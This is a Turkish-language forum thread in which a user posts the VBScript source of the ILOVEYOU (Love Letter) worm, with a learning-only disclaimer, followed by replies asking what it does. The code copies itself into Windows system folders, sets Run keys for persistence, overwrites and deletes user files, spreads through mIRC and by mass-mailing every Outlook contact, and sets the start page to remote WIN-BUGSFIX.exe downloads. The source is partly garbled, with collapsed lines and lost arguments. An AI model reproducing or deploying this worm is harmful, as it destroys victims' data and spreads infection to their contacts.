dai sen bunu linux gibi farklı bi işletim sisteminde mi açtın, yoksa direk pc ye atlar ve antivirüs varsa temizler, yani nası açtın bunu. merak ettim. Camınızı kırar, duvarınıza işer, bisikletinize biner, tekerini keser, arabanızı çizer, zilinize basar kaçarım. Kısacası ben annenizin sokağa çıkarken uzak dur dediği çocuklardan biriyim.

DiKKAT!!! Bu kodlar ile kendi bilgisayarınıza da zarar verebilirsiniz. Kodları tamamen ğrenmek amacı ile kullanın Zarar vermek için değil. rem barok -loveletter <i hate go to school>rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila, PhilippinesOn Error Resume Nextdim fso, dirsystem, dirwin, dirtemp, eq, ctr, file, vbscopy, d oweq=""ctr=0Set fso = CreateObject set file = fso. OpenTextFile(WScript. ScriptFullname,1)vbscopy=file. ReadAllmain sub main On Error Resume Nextdim wscr, rrset wscr=CreateObject rr=wscr. RegRead if (rr>=1) thenwscr. RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"end ifSet dirwin = fso. GetSpecialFolder(0)Set dirsystem = fso. GetSpecialFolder(1)Set dirtemp = fso. GetSpecialFolder(2)Set c = fso. GetFile c. Copy(dirsystem&"\MSKernel32. vbs")c. Copy(dirwin&"\Win32DLL. vbs")c. Copy regruns html spreadtoemail listadriv end subsub regruns On Error Resume NextDim num, downreadregcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\MSKernel32", dirsystem&"\MSKernel32. vbs"regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\RunServices\Win32DLL", dirwin&"\Win32DLL. vbs"downread=""downread=regget if thendownread="c:\"end ifif (fileexist(dirsystem&"\WinFAT32. exe")=1) thenRandomizenum = Int((4 Rnd) + 1)if num = 1 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/ young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT/WIN-BUGSFIX. exe"elseif num = 2 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/ angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX. exe"elseif num = 3 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/ koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3V bvg/WIN-BUGSFIX. exe"elseif num = 4 thenregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/ chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy 7thjg/WIN-BUGSFIX. exe"end ifend ifif (fileexist =0) thenregcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\WIN-BUGSFIX", downread&"\WIN-BUGSFIX. exe"regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"end ifend subsub listadrivOn Error Resume NextDim d, dc, sSet dc = fso. DrivesFor Each d in dcIf d. DriveType = 2 or d. DriveType=3 Thenfolderlist end ifNextlistadriv = send subsub infectfiles On Error Resume Nextdim f, f1, fc, ext, ap, mircfname, s, bname, mp3set f = fso. GetFolder set fc = f. Filesfor each f1 in fcext=fso. GetExtensionName(f1. path)ext=lcase s=lcase(f1. name)if or thenset ap=fso. OpenTextFile(f1. path,2, true)ap. write vbscopyap. closeelseif or or or or or thenset ap=fso. OpenTextFile(f1. path,2, true)ap. write vbscopyap. closebname=fso. GetBaseName(f1. path)set cop=fso. GetFile(f1. path)cop. copy fso. DeleteFile(f1. path)elseif or thenset ap=fso. OpenTextFile(f1. path,2, true)ap. write vbscopyap. closeset cop=fso. GetFile(f1. path)cop. copy(f1. path&". vbs")fso. DeleteFile(f1. path)elseif(ext="mp3") or (ext="mp2") thenset mp3=fso. CreateTextFile(f1. path&". vbs")mp3. write vbscopymp3. closeset att=fso. GetFile(f1. path)att. attributes=att. attributes+2end ifif thenif (s="mirc32. exe") or (s="mlink32. exe") or or or thenset scriptini=fso. CreateTextFile scriptini. WriteLine " "scriptini. WriteLine ";mIRC Script"scriptini. WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will"scriptini. WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks"scriptini. WriteLine ";"scriptini. WriteLine ";Khaled Mardam-Bey"scriptini. WriteLine ";http://www.mirc.com"scriptini. WriteLine ";"scriptini. WriteLine "n0=on 1:JOIN:#:{"scriptini. WriteLine "n1= /if "scriptini. WriteLine "n2= /. dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU. HTM"scriptini. WriteLine "n3=}"scriptini. closeeq=folderspecend ifend ifnextend subsub folderlist On Error Resume Nextdim f, f1, sfset f = fso. GetFolder set sf = f. SubFoldersfor each f1 in sfinfectfiles(f1. path)folderlist(f1. path)nextend subsub regcreate Set regedit = CreateObject regedit. RegWrite regkey, regvalueend subfunction regget Set regedit = CreateObject regget=regedit. RegRead end functionfunction fileexist On Error Resume Nextdim msgif (fso. FileExists Thenmsg = 0elsemsg = 1end iffileexist = msgend functionfunction folderexist On Error Resume Nextdim msgif (fso. GetFolderExists thenmsg = 0elsemsg = 1end iffileexist = msgend functionsub spreadtoemail On Error Resume Nextdim x, a, ctrlists, ctrentries, malead, b, regedit, regv, rega dset regedit=CreateObject set out=WScript. CreateObject set mapi=out. GetNameSpace for ctrlists=1 to mapi. AddressLists. Countset a=mapi. AddressLists x=1regv=regedit. RegRead if thenregv=1end ifif (int >int thenfor ctrentries=1 to a. AddressEntries. Countmalead=a. AddressEntries regad=""regad=regedit. RegRead if thenset male=out. CreateItem(0)male. Recipients. Add male. Subject = "ILOVEYOU"male. Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."male. Attachments. Add male. Sendregedit. RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"end ifx=x+1nextregedit. RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a, a. AddressEntries. Countelseregedit. RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a, a. AddressEntries. Countend ifnextSet out=NothingSet mapi=Nothingend subsub htmlOn Error Resume Nextdim lines, n, dta1, dta2, dt1, dt2, dt3, dt4, l1, dt5, dt6dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _"<META NAME=@-@Author@-@ CONTENT=@-@spyder?-? ispyder@mail.com?-? @GRAMMERSoft Group?-? Manila, Philippines?-? March 2000@-@>"&vbcrlf& _"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is good...@-@>"&vbcrlf& _"<?-?HEAD><BODY ONMOUSEOUT=@-@window. name=#-#main#-#;window. open @-@ "&vbcrlf& _"ONKEYDOWN=@-@window. name=#-#main#-#;window. open @-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read this HTML file<BR>- Please press #-#YES#-# button to Enable ActiveX<?-?p>"&vbcrlf& _"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@> z z <?-?MARQUEE> "&vbcrlf& _"<?-?BODY><?-?HTML>"&vbcrlf& _"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _"<!--?-?-?"&vbcrlf& _"if "&vbcrlf& _"?-?-?-->"&vbcrlf& _"<?-?SCRIPT>"&vbcrlf& _"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _"<!--"&vbcrlf& _"on error resume next"&vbcrlf& _"dim fso, dirsystem, wri, code, code2, code3, code4, aw, regdit "&vbcrlf& _"aw=1"&vbcrlf& _"code="dta2="set fso=CreateObject "&vbcrlf& _"set dirsystem=fso. GetSpecialFolder(1)"&vbcrlf& _"code2=replace(code, chr(91)&chr(45)&chr(91), chr(39))"&vbcrlf& _"code3=replace(code2, chr(93)&chr(45)&chr(93), chr(34))"&vbcrlf& _"code4=replace(code3, chr(37)&chr(45)&chr(37), chr(92))"&vbcrlf& _"set wri=fso. CreateTextFile(dirsystem&@-@^-^MSKernel32. vbs@-@)"&vbcrlf& _"wri. write code4"&vbcrlf& _"wri. close"&vbcrlf& _"if (fso. FileExists(dirsystem&@-@^-^MSKernel32. vbs@-@)) then"&vbcrlf& _"if (err. number=424) then"&vbcrlf& _"aw=0"&vbcrlf& _"end if"&vbcrlf& _"if (aw=1) then"&vbcrlf& _"document. write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _"window. close"&vbcrlf& _"end if"&vbcrlf& _"end if"&vbcrlf& _"Set regedit = CreateObject "&vbcrlf& _"regedit. RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Run^-^MSKernel32@-@, dirsystem&@-@^-^MSKernel32. vbs@-@"&vbcrlf& _"?-?-?-->"&vbcrlf& _"<?-?SCRIPT>"dt1=replace(dta1, chr(35)&chr(45)&chr(35),"'")dt1=replace(dt1, chr(64)&chr(45)&chr(64),"""")dt4=replace(dt1, chr(63)&chr(45)&chr(63),"/")dt5=replace(dt4, chr(94)&chr(45)&chr(94),"\")dt2=replace(dta2, chr(35)&chr(45)&chr(35),"'")dt2=replace(dt2, chr(64)&chr(45)&chr(64),"""")dt3=replace(dt2, chr(63)&chr(45)&chr(63),"/")dt6=replace(dt3, chr(94)&chr(45)&chr(94),"\")set fso=CreateObject set c=fso. OpenTextFile(WScript. ScriptFullName,1)lines=Split l1=ubound for n=0 to ubound lines =replace(lines ,"'", chr(91)+chr(45)+chr(91))lines =replace(lines ,"""", chr(93)+chr(45)+chr(93))lines =replace(lines ,"\", chr(37)+chr(45)+chr(37))if (l1=n) thenlines =chr(34)+lines +chr(34)elselines =chr(34)+lines +chr(34)&"&vbcrlf& _"end ifnextset b=fso. CreateTextFile b. closeset d=fso. OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU. HTM",2)d. write dt5ALINTIDIR. Ne zaman kendini yenilmiş hissedersen hatırla; kazanan sperm sensin, doğuştan savaşcısın!!

açtım bişey olmadı bozuk mu acaba ne işe yarıyorr asi prens

arkadaşım ı love you virüsü ne yapıyor tam olarak bilgisayarıma ne gibi bir zarar verebilir? POWER İS NOTHİNK WİTHOUT CONTROL

bunun için dküman yazmıştım ben bakmak isteyen olursa http://www.tahribat.com/doc. asp?docid=40 You think the game is over? It has just begun ;)

en dandik av bile bu sayfaya ter lo... E biraz mantıklı düşünün o zaman bu bi boqa da yaramaz geçin.. bakıp nasıl birşeymiş der geliştirmek isterseniz alın tabi ama birilerine yedirmeye kalkmayın... Hep denedin. Hep yenildin. Olsun yine dene, yine yenil ama daha iyi yenil!

oha be.. sayfaya girince bile uyarı verdiğine gre güçlü bir şey..:) One Ring To Rule Them All... One Ring To Find Them, One Ring To Bring Them All And In The Darkness Bind Them!...